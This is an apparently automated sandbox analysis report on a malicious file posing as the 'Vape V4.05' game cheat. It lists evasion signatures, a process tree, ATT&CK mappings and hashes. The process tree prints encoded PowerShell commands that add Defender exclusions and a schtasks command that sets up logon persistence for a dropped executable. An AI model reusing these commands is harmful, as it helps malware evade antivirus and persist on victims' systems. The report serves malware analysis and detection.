Resubmissions

17-02-2022 14:46

220217-r5dpmacedn 10

17-02-2022 07:27

220217-h98k5aaeg8 10

Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    17-02-2022 14:46

General

  • Target

    Vape V4.05.exe

  • Size

    13.9MB

  • MD5

    b26285219a7d20505e4a8628fe4092f2

  • SHA1

    9b0109eb2e0fd5a401820262fe9a8272600685b1

  • SHA256

    829e4cdc3b9823f5967f4d84c0a5f0e654e95760d09eb5de9c9ad91544dc9478

  • SHA512

    da09d8e018d77c5cd4d56afc03b4228fdf5a9dbca0294c41f2808a7f106ad118253b895db87f6f6461b11830401e07e304c92572a0678bdb390e5e9b67cbe7d3

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • evasion 1 IoCs

    evasion.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Vape V4.05.exe
    "C:\Users\Admin\AppData\Local\Temp\Vape V4.05.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Users\Admin\AppData\Local\Temp\syn conhost.exe
      "C:\Users\Admin\AppData\Local\Temp\syn conhost.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2284
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3776
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services32.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5112
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\services32.exe"
          4⤵
          • Creates scheduled task(s)
          PID:3692
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\services32.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Users\Admin\AppData\Roaming\Microsoft\services32.exe
          C:\Users\Admin\AppData\Roaming\Microsoft\services32.exe
          4⤵
          • Executes dropped EXE
          • Checks computer location settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3224
          • C:\Windows\system32\cmd.exe
            "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2716
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2416
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1908
          • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
            5⤵
            • Executes dropped EXE
            PID:1784
    • C:\Users\Admin\AppData\Local\Temp\Vape_V4.exe
      "C:\Users\Admin\AppData\Local\Temp\Vape_V4.exe"
      2⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks computer location settings
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4912
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 4912 -s 680
        3⤵
        • Program crash
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:2728
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 408 -p 4912 -ip 4912
    1⤵
    • Suspicious use of NtCreateProcessExOtherParentProcess
    • Suspicious use of WriteProcessMemory
    PID:1700
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
    1⤵
    • Drops file in Windows directory
    • Suspicious use of AdjustPrivilegeToken
    PID:1496
  • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
    C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
    1⤵
    • Drops file in Windows directory
    • Suspicious use of AdjustPrivilegeToken
    PID:4500

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Virtualization/Sandbox Evasion

1
T1497

Discovery

Query Registry

5
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

6
T1082

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    2e907f77659a6601fcc408274894da2e

    SHA1

    9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

    SHA256

    385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

    SHA512

    34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    e5663972c1caaba7088048911c758bf3

    SHA1

    3462dea0f9c2c16a9c3afdaef8bbb1f753c1c198

    SHA256

    9f7f29a4696876cadca3f14d7e43f9ede0c97fd64be3f5d94bda49a91b6a419e

    SHA512

    ff4e72c46cf083de62baa2ce2661555dd91b5f144294015f7b262fd4500cb67fe80e1871a82da63b607e3e9cef401f4b73c587bf1134637881ecad51aad1eddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    51cf8df21f531e31f7740b4ec487a48a

    SHA1

    40c6a73b22d71625a62df109aefc92a5f9b9d13e

    SHA256

    263d9b98a897d1d66da4832af640c4bf5ab0ae91125ba12243453dfe714f3d0d

    SHA512

    57a85461f6ea96b26a8b53d3a9cca18543e4ddbe996e8f412fc4cf7cf6e9ffe558c96da7b322a42f18bef62020e65aee119bed6102f75e2f605df09b02ec6368

  • C:\Users\Admin\AppData\Local\Temp\Vape_V4.exe
    MD5

    7407fd99ee1940051b4f543656ea9b0a

    SHA1

    7149b25db501b75111ac77fe4bcfe6915058757a

    SHA256

    bef628b23396d36849beac1bf633859d02f82ae9dc877281862b7e9e85148ecd

    SHA512

    804a257e128f54d5febaca7424f308403e092f773119075270b89d8721e9cc91e3b7adc402ad9a9fbb252b5af250745d2f6a34f523f30b1f08c212aea0e5b75d

  • C:\Users\Admin\AppData\Local\Temp\Vape_V4.exe
    MD5

    7407fd99ee1940051b4f543656ea9b0a

    SHA1

    7149b25db501b75111ac77fe4bcfe6915058757a

    SHA256

    bef628b23396d36849beac1bf633859d02f82ae9dc877281862b7e9e85148ecd

    SHA512

    804a257e128f54d5febaca7424f308403e092f773119075270b89d8721e9cc91e3b7adc402ad9a9fbb252b5af250745d2f6a34f523f30b1f08c212aea0e5b75d

  • C:\Users\Admin\AppData\Local\Temp\syn conhost.exe
    MD5

    8d219ec4b3221c9e18f05d663b245a7b

    SHA1

    08f956878fa7144d425a7be049d172ce743424d4

    SHA256

    15090f836230310f9074d7a296e428f70a2335f7668e844757244930a55f0ff8

    SHA512

    db1e78181e9a3dfff5d43e3fd398534c227fea318e83919cad819c374b744677f83e95733dc5c3633f1baccea503d86baf8ee22f9f7c3ccc6e581d5aef42b80f

  • C:\Users\Admin\AppData\Local\Temp\syn conhost.exe
    MD5

    8d219ec4b3221c9e18f05d663b245a7b

    SHA1

    08f956878fa7144d425a7be049d172ce743424d4

    SHA256

    15090f836230310f9074d7a296e428f70a2335f7668e844757244930a55f0ff8

    SHA512

    db1e78181e9a3dfff5d43e3fd398534c227fea318e83919cad819c374b744677f83e95733dc5c3633f1baccea503d86baf8ee22f9f7c3ccc6e581d5aef42b80f

  • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
    MD5

    e83a53213ee5593da07c3da2fa6e53c4

    SHA1

    230cd2f92bfcb38a727209a0ed14272aec969a59

    SHA256

    8bb79f322069a21f06ceb8916aef6dddeb7934c25ef35b8a38b918491d648c66

    SHA512

    dd667fc2fcbe26547d16cc9a6ce18e55c57c62cee1bd365ebef17e88d0f0694bec69921179433b06fa89569d7b52f064b8ba0cc8b2fab3e13cb4b089b9b3e1dc

  • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
    MD5

    e83a53213ee5593da07c3da2fa6e53c4

    SHA1

    230cd2f92bfcb38a727209a0ed14272aec969a59

    SHA256

    8bb79f322069a21f06ceb8916aef6dddeb7934c25ef35b8a38b918491d648c66

    SHA512

    dd667fc2fcbe26547d16cc9a6ce18e55c57c62cee1bd365ebef17e88d0f0694bec69921179433b06fa89569d7b52f064b8ba0cc8b2fab3e13cb4b089b9b3e1dc

  • C:\Users\Admin\AppData\Roaming\Microsoft\services32.exe
    MD5

    8d219ec4b3221c9e18f05d663b245a7b

    SHA1

    08f956878fa7144d425a7be049d172ce743424d4

    SHA256

    15090f836230310f9074d7a296e428f70a2335f7668e844757244930a55f0ff8

    SHA512

    db1e78181e9a3dfff5d43e3fd398534c227fea318e83919cad819c374b744677f83e95733dc5c3633f1baccea503d86baf8ee22f9f7c3ccc6e581d5aef42b80f

  • C:\Users\Admin\AppData\Roaming\Microsoft\services32.exe
    MD5

    8d219ec4b3221c9e18f05d663b245a7b

    SHA1

    08f956878fa7144d425a7be049d172ce743424d4

    SHA256

    15090f836230310f9074d7a296e428f70a2335f7668e844757244930a55f0ff8

    SHA512

    db1e78181e9a3dfff5d43e3fd398534c227fea318e83919cad819c374b744677f83e95733dc5c3633f1baccea503d86baf8ee22f9f7c3ccc6e581d5aef42b80f

  • memory/1496-152-0x000001EF61D70000-0x000001EF61D80000-memory.dmp
    Filesize

    64KB

  • memory/1496-154-0x000001EF649F0000-0x000001EF649F4000-memory.dmp
    Filesize

    16KB

  • memory/1496-153-0x000001EF62320000-0x000001EF62330000-memory.dmp
    Filesize

    64KB

  • memory/1784-169-0x000000001DB80000-0x000000001DB82000-memory.dmp
    Filesize

    8KB

  • memory/1784-167-0x0000000000A80000-0x0000000000A86000-memory.dmp
    Filesize

    24KB

  • memory/1784-168-0x00007FFBFF8E3000-0x00007FFBFF8E5000-memory.dmp
    Filesize

    8KB

  • memory/1944-137-0x00007FFBFF8E3000-0x00007FFBFF8E5000-memory.dmp
    Filesize

    8KB

  • memory/1944-139-0x000000001DD30000-0x000000001DD32000-memory.dmp
    Filesize

    8KB

  • memory/1944-134-0x0000000001450000-0x0000000001462000-memory.dmp
    Filesize

    72KB

  • memory/1944-133-0x0000000000940000-0x0000000000B2E000-memory.dmp
    Filesize

    1.9MB

  • memory/2416-161-0x000002343FAA0000-0x000002343FAA2000-memory.dmp
    Filesize

    8KB

  • memory/2416-160-0x00007FFBFF8E3000-0x00007FFBFF8E5000-memory.dmp
    Filesize

    8KB

  • memory/2416-162-0x000002343FAA3000-0x000002343FAA5000-memory.dmp
    Filesize

    8KB

  • memory/2416-163-0x000002343FAA6000-0x000002343FAA8000-memory.dmp
    Filesize

    8KB

  • memory/3224-158-0x00007FFBFF8E3000-0x00007FFBFF8E5000-memory.dmp
    Filesize

    8KB

  • memory/3224-159-0x000000001E130000-0x000000001E132000-memory.dmp
    Filesize

    8KB

  • memory/3776-150-0x000001CCE5126000-0x000001CCE5128000-memory.dmp
    Filesize

    8KB

  • memory/3776-151-0x000001CCE5128000-0x000001CCE5129000-memory.dmp
    Filesize

    4KB

  • memory/3776-148-0x000001CCE5120000-0x000001CCE5122000-memory.dmp
    Filesize

    8KB

  • memory/3776-149-0x000001CCE5123000-0x000001CCE5125000-memory.dmp
    Filesize

    8KB

  • memory/3776-147-0x00007FFBFF8E3000-0x00007FFBFF8E5000-memory.dmp
    Filesize

    8KB

  • memory/4780-144-0x000001FB4C876000-0x000001FB4C878000-memory.dmp
    Filesize

    8KB

  • memory/4780-143-0x000001FB4C873000-0x000001FB4C875000-memory.dmp
    Filesize

    8KB

  • memory/4780-142-0x000001FB4C870000-0x000001FB4C872000-memory.dmp
    Filesize

    8KB

  • memory/4780-141-0x00007FFBFF8E3000-0x00007FFBFF8E5000-memory.dmp
    Filesize

    8KB

  • memory/4780-138-0x000001FB4C7E0000-0x000001FB4C802000-memory.dmp
    Filesize

    136KB

  • memory/4840-130-0x0000000000400000-0x00000000015DC000-memory.dmp
    Filesize

    17.9MB

  • memory/4912-140-0x00007FFC20410000-0x00007FFC20412000-memory.dmp
    Filesize

    8KB